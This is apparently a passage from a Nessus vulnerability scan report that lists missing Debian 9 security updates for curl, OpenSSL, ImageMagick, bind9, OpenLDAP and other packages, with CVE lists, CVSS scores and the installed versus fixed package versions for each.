NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/12/msg00029.html
https://packages.debian.org/source/stretch/curl
https://security-tracker.debian.org/tracker/source-package/curl

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)

CVSS v3.0 Temporal Score

6.7 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2020-8284
CVE	CVE-2020-8285
CVE	CVE-2020-8286
XREF	IAVA:2020-A-0581
XREF	CEA-ID:CEA-2021-0025

Plugin Information

Published: 2020/12/21, Modified: 2024/01/31

Plugin Output

tcp/0

```
Remote package installed : curl_7.52.1-5+deb9u9
Should be : curl_7.52.1-5+deb9u13
Remote package installed : libcurl3_7.52.1-5+deb9u9
Should be : libcurl3_7.52.1-5+deb9u13
Remote package installed : libcurl3-gnutls_7.52.1-5+deb9u9
Should be : libcurl3-gnutls_7.52.1-5+deb9u13
```

144738 - Debian DLA-2513-1 : p11-kit security update -

Synopsis

The remote Debian host is missing a security update.

Description

Several memory safety issues affecting the RPC protocol were fixed in p11-kit, a library providing a way to load and enumerate PKCS#11 modules.

CVE-2020-29361

Multiple integer overflows

CVE-2020-29362

Heap-based buffer over-read

For Debian 9 stretch, these problems have been fixed in version 0.23.3-2+deb9u1.

We recommend that you upgrade your p11-kit packages.

For the detailed security status of p11-kit please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/p11-kit

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/01/msg00002.html
https://packages.debian.org/source/stretch/p11-kit
https://security-tracker.debian.org/tracker/source-package/p11-kit

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v3.0 Temporal Score

4.6 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2020-29361
CVE	CVE-2020-29362

Plugin Information

Published: 2021/01/05, Modified: 2021/01/13

Plugin Output

tcp/0

```
Remote package installed : libp11-kit0_0.23.3-2
Should be : libp11-kit0_0.23.3-2+deb9u1
```

144762 - Debian DLA-2518-1 : cairo security update -

Synopsis

The remote Debian host is missing a security update.

Description

LibreOffice slideshow aborts with stack smashing in cairo’s composite_boxes.

For Debian 9 stretch, this problem has been fixed in version 1.14.8-1+deb9u1.

We recommend that you upgrade your cairo packages.

For the detailed security status of cairo please refer to its security tracker page at: https://security-tracker.debian.org/tracker/cairo

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/01/msg00006.html
https://packages.debian.org/source/stretch/cairo
https://security-tracker.debian.org/tracker/source-package/cairo

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.8 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

CVE CVE-2020-35492

Plugin Information

Published: 2021/01/06, Modified: 2021/03/29

Plugin Output

tcp/0

```
Remote package installed : libcairo2_1.14.8-1
Should be : libcairo2_1.14.8-1+deb9u1
```

144925 - Debian DLA-2523-1 : imagemagick security update -

Synopsis

The remote Debian host is missing a security update.

Description

Several security vulnerabilities were found in ImageMagick, a suite of image manipulation programs. An attacker could cause denial of service and execution of arbitrary code when a crafted image file is processed.

CVE-2017-14528

The TIFFSetProfiles function in coders/tiff.c has incorrect expectations about whether LibTIFF TIFFGetField return values imply that data validation has occurred, which allows remote attackers to cause a denial of service (use-after-free after an invalid call to TIFFSetField, and application crash) via a crafted file.

CVE-2020-19667

Stack-based buffer overflow and unconditional jump in ReadXPMImage in coders/xpm.c

CVE-2020-25665

The PALM image coder at coders/palm.c makes an improper call to AcquireQuantumMemory() in routine WritePALMImage() because it needs to be offset by 256. This can cause a out-of-bounds read later on in the routine. This could cause impact to reliability.

CVE-2020-25674

WriteOnePNGImage() from coders/png.c (the PNG coder) has a for loop with an improper exit condition that can allow an out-of-bounds READ via heap-buffer-

overflow. This occurs because it is possible for the colormap to have less than 256 valid values but the loop condition will loop 256 times, attempting to pass invalid colormap data to the event logger.

CVE-2020-27560

ImageMagick allows Division by Zero in OptimizeLayerFrames in MagickCore/layer.c, which may cause a denial of service.

CVE-2020-27750

A flaw was found in MagickCore/colorspace-private.h and MagickCore/quantum.h. An attacker who submits a crafted file that is processedcould trigger undefined behavior in the form of values outside the range of type `unsigned char` and math division by zero.
This would most likely lead to an impact to application availability, but could potentially cause other problems related to undefined behavior.

CVE-2020-27760

In `GammaImage()` of /MagickCore/enhance.c, depending on the `gamma` value, it's possible to trigger a divide-by-zero condition when a crafted input file is processed by ImageMagick. This could lead to an impact to application availability.

CVE-2020-27763

A flaw was found in MagickCore/resize.c. An attacker who submits a crafted file that is processed by ImageMagick could trigger undefined behavior in the form of math division by zero. This would most likely lead to an impact to application availability, but could potentially cause other problems related to undefined behavior.

CVE-2020-27765

A flaw was found in MagickCore/segment.c. An attacker who submits a crafted file that is processed by ImageMagick could trigger undefined behavior in the form of math division by zero. This would most likely lead to an impact to application availability, but could potentially cause other problems related to undefined behavior.

CVE-2020-27773

A flaw was found in MagickCore/gem-private.h. An attacker who submits a crafted file that is processed by ImageMagick could trigger undefined behavior in the form of values outside the range of type `unsigned char` or division by zero. This would most likely lead to an impact to application availability, but could potentially cause other problems related to undefined behavior.

CVE-2020-29599

ImageMagick mishandles the -authenticate option, which allows setting a password for password-protected PDF files. The user-controlled password was not properly escaped/sanitized and it was therefore possible to inject additional shell commands via coders/pdf.c.

For Debian 9 stretch, these problems have been fixed in version 8:6.9.7.4+dfsg-11+deb9u11.

We recommend that you upgrade your imagemagick packages.

For the detailed security status of imagemagick please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/imagemagick

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/01/msg00010.html
https://packages.debian.org/source/stretch/imagemagick
https://security-tracker.debian.org/tracker/source-package/imagemagick

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.0 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2017-14528
CVE	CVE-2020-19667
CVE	CVE-2020-25665
CVE	CVE-2020-25674
CVE	CVE-2020-27560
CVE	CVE-2020-27750
CVE	CVE-2020-27760
CVE	CVE-2020-27763
CVE	CVE-2020-27765
CVE	CVE-2020-27773
CVE	CVE-2020-29599
XREF	IAVB:2020-B-0042-S

Plugin Information

Published: 2021/01/13, Modified: 2024/01/30

Plugin Output

tcp/0

```
Remote package installed : imagemagick_8:6.9.7.4+dfsg-11+deb9u6
Should be : imagemagick_8:6.9.7.4+dfsg-11+deb9u11
Remote package installed : imagemagick-6-common_8:6.9.7.4+dfsg-11+deb9u6
Should be : imagemagick-6-common_8:6.9.7.4+dfsg-11+deb9u11
Remote package installed : imagemagick-6.q16_8:6.9.7.4+dfsg-11+deb9u6
Should be : imagemagick-6.q16_8:6.9.7.4+dfsg-11+deb9u11
Remote package installed : libmagickcore-6.q16-3_8:6.9.7.4+dfsg-11+deb9u6
Should be : libmagickcore-6.q16-3_8:6.9.7.4+dfsg-11+deb9u11
Remote package installed : libmagickcore-6.q16-3-extra_8:6.9.7.4+dfsg-11+deb9u6
Should be : libmagickcore-6.q16-3-extra_8:6.9.7.4+dfsg-11+deb9u11
Remote package installed : libmagickwand-6.q16-3_8:6.9.7.4+dfsg-11+deb9u6
Should be : libmagickwand-6.q16-3_8:6.9.7.4+dfsg-11+deb9u11
```

145725 - Debian DLA-2538-1 : mariadb-10.1 security update -

Synopsis

The remote Debian host is missing a security update.

Description

Two vulnerabilities were fixed by upgrading the MariaDB database server packages to the latest version on the 10.1 branch.

For Debian 9 stretch, these problems have been fixed in version 10.1.48-0+deb9u1.

We recommend that you upgrade your mariadb-10.1 packages.

For the detailed security status of mariadb-10.1 please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/mariadb-10.1

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/01/msg00027.html
https://packages.debian.org/source/stretch/mariadb-10.1
http://www.nessus.org/u?708f0173

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.7 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:L/Au:S/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2020-14765
CVE	CVE-2020-14812

Plugin Information

Published: 2021/02/01, Modified: 2024/01/25

Plugin Output

tcp/0

```
Remote package installed : libmariadbclient18_10.1.37-0+deb9u1
Should be : libmariadbclient18_10.1.48-0+deb9u1
Remote package installed : mariadb-client-10.1_10.1.37-0+deb9u1
Should be : mariadb-client-10.1_10.1.48-0+deb9u1
Remote package installed : mariadb-client-core-10.1_10.1.37-0+deb9u1
Should be : mariadb-client-core-10.1_10.1.48-0+deb9u1
Remote package installed : mariadb-common_10.1.37-0+deb9u1
Should be : mariadb-common_10.1.48-0+deb9u1
Remote package installed : mariadb-server-10.1_10.1.37-0+deb9u1
Should be : mariadb-server-10.1_10.1.48-0+deb9u1
Remote package installed : mariadb-server-core-10.1_10.1.37-0+deb9u1
Should be : mariadb-server-core-10.1_10.1.48-0+deb9u1
```

146191 - Debian DLA-2544-1 : openldap security update -

Synopsis

The remote Debian host is missing a security update.

Description

Several vulnerabilities were discovered in OpenLDAP, a free implementation of the Lightweight Directory Access Protocol. An unauthenticated remote attacker can take advantage of these flaws to cause a denial of service (slapd daemon crash, infinite loops) via specially crafted packets.

For Debian 9 stretch, these problems have been fixed in version 2.4.44+dfsg-5+deb9u7.

We recommend that you upgrade your openldap packages.

For the detailed security status of openldap please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/openldap

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/02/msg00005.html
https://packages.debian.org/source/stretch/openldap
https://security-tracker.debian.org/tracker/source-package/openldap

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2020-36221
CVE	CVE-2020-36222
CVE	CVE-2020-36223
CVE	CVE-2020-36224
CVE	CVE-2020-36225
CVE	CVE-2020-36226
CVE	CVE-2020-36227
CVE	CVE-2020-36228
CVE	CVE-2020-36229
CVE	CVE-2020-36230
XREF	IAVB:2021-B-0014

Plugin Information

Published: 2021/02/04, Modified: 2024/01/23

Plugin Output

tcp/0

```
Remote package installed : libldap-2.4-2_2.4.44+dfsg-5+deb9u2
Should be : libldap-2.4-2_2.4.44+dfsg-5+deb9u7
Remote package installed : libldap-common_2.4.44+dfsg-5+deb9u2
Should be : libldap-common_2.4.44+dfsg-5+deb9u7
```

146612 - Debian DLA-2563-1 : openssl security update -

Synopsis

The remote Debian host is missing a security update.

Description

It was discovered that there were two issues in the openssl cryptographic system :

- CVE-2021-23840: Prevent an issue where 'Digital EnVeloPe' EVP-related calls could cause applications to behave incorrectly or even crash.

- CVE-2021-23841: Prevent an issue in the X509 certificate parsing caused by the lack of error handling while ingesting the 'issuer' field.

For Debian 9 'Stretch', these problems have been fixed in version 1.1.0l-1~deb9u3.

We recommend that you upgrade your openssl packages.

For the detailed security status of openssl please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/openssl

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/02/msg00023.html
https://packages.debian.org/source/stretch/openssl
https://security-tracker.debian.org/tracker/source-package/openssl

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2021-23840
CVE	CVE-2021-23841
XREF	CEA-ID:CEA-2021-0025

Plugin Information

Published: 2021/02/19, Modified: 2022/12/06

Plugin Output

tcp/0

```
Remote package installed : libssl1.1_1.1.0j-1~deb9u1
Should be : libssl1.1_1.1.0l-1~deb9u3
Remote package installed : openssl_1.1.0j-1~deb9u1
Should be : openssl_1.1.0l-1~deb9u3
```

146604 - Debian DLA-2565-1 : openssl1.0 security update -

Synopsis

The remote Debian host is missing a security update.

Description

It was discovered that there were two issues in the 1.0 branch of the OpenSSL cryptographic system :

- CVE-2021-23840: Prevent an issue where 'Digital EnVeloPe' EVP-related calls could cause applications to behave incorrectly or even crash.

- CVE-2021-23841: Prevent an issue in the X509 certificate handling caused by the lack of error handling whilst parsing 'issuer' fields.

For Debian 9 'Stretch', these problems have been fixed in version 1.0.2u-1~deb9u4. For the equivalent changes for the 1.1 branch of OpenSSL, please see DLA-2563-1.

We recommend that you upgrade your openssl1.0 packages.

For the detailed security status of openssl1.0 please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/openssl1.0

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/02/msg00025.html
https://packages.debian.org/source/stretch/openssl1.0
https://security-tracker.debian.org/tracker/source-package/openssl1.0

Solution

Upgrade the affected libssl1.0-dev, and libssl1.0.2 packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2021-23840
CVE	CVE-2021-23841
XREF	CEA-ID:CEA-2021-0025

Plugin Information

Published: 2021/02/19, Modified: 2022/12/06

Plugin Output

tcp/0

```
Remote package installed : libssl1.0.2_1.0.2r-1~deb9u1
Should be : libssl1.0.2_1.0.2u-1~deb9u4
```

146608 - Debian DLA-2566-1 : libbsd security update -

Synopsis

The remote Debian host is missing a security update.

Description

An issue has been found in libbsd, a library with utility functions from BSD systems. A non-NUL terminated symbol name in the string table might result in an out-of-bounds read.

For Debian 9 stretch, this problem has been fixed in version 0.8.3-1+deb9u1.

We recommend that you upgrade your libbsd packages.

For the detailed security status of libbsd please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/libbsd

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/02/msg00027.html
https://packages.debian.org/source/stretch/libbsd
https://security-tracker.debian.org/tracker/source-package/libbsd

Solution

Upgrade the affected libbsd-dev, libbsd0, and libbsd0-udeb packages.

Risk Factor

Medium

CVSS v3.0 Base Score

9.1 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H)

CVSS v3.0 Temporal Score

8.2 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE CVE-2019-20367

Plugin Information

Published: 2021/02/19, Modified: 2024/01/22

Plugin Output

tcp/0

```
Remote package installed : libbsd0_0.8.3-1
Should be : libbsd0_0.8.3-1+deb9u1
```

146736 - Debian DLA-2568-1 : bind9 security update -

Synopsis

The remote Debian host is missing a security update.

Description

It was discovered that there was a buffer overflow attack in the bind9 DNS server caused by an issue in the GSSAPI ('Generic Security Services') security policy negotiation.

For Debian 9 'Stretch', this problem has been fixed in version 1:9.10.3.dfsg.P4-12.3+deb9u8.

We recommend that you upgrade your bind9 packages.

For the detailed security status of bind9 please refer to its security tracker page at: https://security-tracker.debian.org/tracker/bind9

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/02/msg00029.html
https://packages.debian.org/source/stretch/bind9
https://security-tracker.debian.org/tracker/source-package/bind9

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

8.1 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.1 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

CVE CVE-2020-8625

Plugin Information

Published: 2021/02/22, Modified: 2021/03/02

Plugin Output

tcp/0

```
Remote package installed : bind9-host_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : bind9-host_1:9.10.3.dfsg.P4-12.3+deb9u8
Remote package installed : libbind9-140_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libbind9-140_1:9.10.3.dfsg.P4-12.3+deb9u8
Remote package installed : libdns-export162_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libdns-export162_1:9.10.3.dfsg.P4-12.3+deb9u8
Remote package installed : libdns162_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libdns162_1:9.10.3.dfsg.P4-12.3+deb9u8
Remote package installed : libisc-export160_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisc-export160_1:9.10.3.dfsg.P4-12.3+deb9u8
Remote package installed : libisc160_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisc160_1:9.10.3.dfsg.P4-12.3+deb9u8
Remote package installed : libisccc140_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisccc140_1:9.10.3.dfsg.P4-12.3+deb9u8
Remote package installed : libisccfg140_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisccfg140_1:9.10.3.dfsg.P4-12.3+deb9u8
Remote package installed : liblwres141_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : liblwres141_1:9.10.3.dfsg.P4-12.3+deb9u8
```

146667 - Debian DLA-2574-1 : openldap security update -

Synopsis

The remote Debian host is missing a security update.

Description

A vulnerability in the Certificate List Exact Assertion validation was discovered in OpenLDAP, a free implementation of the Lightweight Directory Access Protocol. An unauthenticated remote attacker can take advantage of this flaw to cause a denial of service (slapd daemon crash) via specially crafted packets.

For Debian 9 stretch, this problem has been fixed in version 2.4.44+dfsg-5+deb9u8.

We recommend that you upgrade your openldap packages.

For the detailed security status of openldap please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/openldap

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/02/msg00035.html
https://packages.debian.org/source/stretch/openldap
https://security-tracker.debian.org/tracker/source-package/openldap

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.7 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE CVE-2021-27212

Plugin Information

Published: 2021/02/22, Modified: 2024/01/19

Plugin Output

tcp/0

```
Remote package installed : libldap-2.4-2_2.4.44+dfsg-5+deb9u2
Should be : libldap-2.4-2_2.4.44+dfsg-5+deb9u8
Remote package installed : libldap-common_2.4.44+dfsg-5+deb9u2
Should be : libldap-common_2.4.44+dfsg-5+deb9u8
```

148080 - Debian DLA-2602-1 : imagemagick security update -

Synopsis

The remote Debian host is missing a security update.

Description

Multiple security vulnerabilities were found in Imagemagick. Missing or incomplete input sanitizing may lead to undefined behavior which can result in denial of service (application crash) or other unspecified impact.

For Debian 9 stretch, these problems have been fixed in version 8:6.9.7.4+dfsg-11+deb9u12.

We recommend that you upgrade your imagemagick packages.

For the detailed security status of imagemagick please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/imagemagick

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/03/msg00030.html
https://packages.debian.org/source/stretch/imagemagick
https://security-tracker.debian.org/tracker/source-package/imagemagick

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.0 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2020-25666
CVE	CVE-2020-25675
CVE	CVE-2020-25676
CVE	CVE-2020-27754
CVE	CVE-2020-27757
CVE	CVE-2020-27758
CVE	CVE-2020-27759
CVE	CVE-2020-27761

CVE	CVE-2020-27762
CVE	CVE-2020-27764
CVE	CVE-2020-27766
CVE	CVE-2020-27767
CVE	CVE-2020-27768
CVE	CVE-2020-27769
CVE	CVE-2020-27770
CVE	CVE-2020-27771
CVE	CVE-2020-27772
CVE	CVE-2020-27774
CVE	CVE-2020-27775
CVE	CVE-2021-20176
CVE	CVE-2021-20241
CVE	CVE-2021-20244
CVE	CVE-2021-20246
XREF	IAVB:2021-B-0017-S

Plugin Information

Published: 2021/03/24, Modified: 2024/01/12

Plugin Output

tcp/0

```
Remote package installed : imagemagick_8:6.9.7.4+dfsg-11+deb9u6
Should be : imagemagick_8:6.9.7.4+dfsg-11+deb9u12
Remote package installed : imagemagick-6-common_8:6.9.7.4+dfsg-11+deb9u6
Should be : imagemagick-6-common_8:6.9.7.4+dfsg-11+deb9u12
Remote package installed : imagemagick-6.q16_8:6.9.7.4+dfsg-11+deb9u6
Should be : imagemagick-6.q16_8:6.9.7.4+dfsg-11+deb9u12
Remote package installed : libmagickcore-6.q16-3_8:6.9.7.4+dfsg-11+deb9u6
Should be : libmagickcore-6.q16-3_8:6.9.7.4+dfsg-11+deb9u12
Remote package installed : libmagickcore-6.q16-3-extra_8:6.9.7.4+dfsg-11+deb9u6
Should be : libmagickcore-6.q16-3-extra_8:6.9.7.4+dfsg-11+deb9u12
Remote package installed : libmagickwand-6.q16-3_8:6.9.7.4+dfsg-11+deb9u6
Should be : libmagickwand-6.q16-3_8:6.9.7.4+dfsg-11+deb9u12
```

148173 - Debian DLA-2606-1 : lxml security update -

Synopsis

The remote Debian host is missing a security update.

Description

An issue has been found in lxml, a pythonic binding for the libxml2 and libxslt libraries.

Due to missing input sanitization, XSS is possible for the HTML5 formaction attribute.

For Debian 9 stretch, this problem has been fixed in version 3.7.1-1+deb9u4.

We recommend that you upgrade your lxml packages.

For the detailed security status of lxml please refer to its security tracker page at: https://security-tracker.debian.org/tracker/lxml

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/03/msg00031.html
https://packages.debian.org/source/stretch/lxml
https://security-tracker.debian.org/tracker/source-package/lxml

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

6.1 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

CVSS v3.0 Temporal Score

5.5 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE CVE-2021-28957

Plugin Information

Published: 2021/03/26, Modified: 2024/01/12

Plugin Output

tcp/0

```
Remote package installed : python-lxml_3.7.1-1
Should be : python-lxml_3.7.1-1+deb9u4
```

148302 - Debian DLA-2614-1 : busybox security update -

Synopsis

The remote Debian host is missing a security update.

Description

The gunzip decompressor of Busybox, tiny utilities for small and embedded systems, mishandled the error bit on the huft_build result pointer, with a resultant invalid free or segmentation fault, via malformed gzip data.

For Debian 9 stretch, this problem has been fixed in version 1:1.22.0-19+deb9u2.

We recommend that you upgrade your busybox packages.

For the detailed security status of busybox please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/busybox

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2021/04/msg00001.html
https://packages.debian.org/source/stretch/busybox
https://security-tracker.debian.org/tracker/source-package/busybox

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

CVE CVE-2021-28831

Plugin Information

Published: 2021/04/02, Modified: 2024/01/12

Plugin Output

tcp/0

```
Remote package installed : busybox_1:1.22.0-19+b3
Should be : busybox_1:1.22.0-19+deb9u2
```

148749 - Debian DLA-2628-1 : python2.7 security update -

Synopsis

The remote Debian host is missing a security update.

Description

Two security issues have been discovered in python2.7 :

CVE-2019-16935

The documentation XML-RPC server in Python 2.7 has XSS via the server_title field. This occurs in Lib/DocXMLRPCServer.py in Python 2.x, and in Lib/xmlrpc/server.py in Python 3.x. If set_server_title is called with untrusted input, arbitrary JavaScript can be delivered to clients that visit the http URL for this server.

CVE-2021-23336

The Python2.7 vulnerable to Web Cache Poisoning via urllib.parse.parse_qsl and urllib.parse.parse_qs by using a vector called parameter cloaking. When the attacker can separate query parameters using a semicolon (;), they can cause a difference in the interpretation of the request between the proxy (running with default configuration) and the server. This can result in malicious requests being cached as completely safe ones, as the proxy would usually not see the semicolon as a separator, and therefore would not include it in a cache key of an unkeyed parameter.

Attention, API-change! Please be sure your software is working properly if it uses `urllib.parse.parse_qs` or `urllib.parse.parse_qsl`, `cgi.parse` or `cgi.parse_multipart`.

Earlier Python versions allowed using both ``;`` and ``&`` as query parameter separators in `urllib.parse.parse_qs` and `urllib.parse.parse_qsl`. Due to security concerns, and to conform with newer W3C recommendations, this has been changed to allow only a single separator key, with ``&`` as the default. This change also affects `cgi.parse` and `cgi.parse_multipart` as they use the affected functions internally. For more details, please see their respective documentation.

For Debian 9 stretch, these problems have been fixed in version 2.7.13-2+deb9u5.

We recommend that you upgrade your python2.7 packages.

For the detailed security status of python2.7 please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/python2.7

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

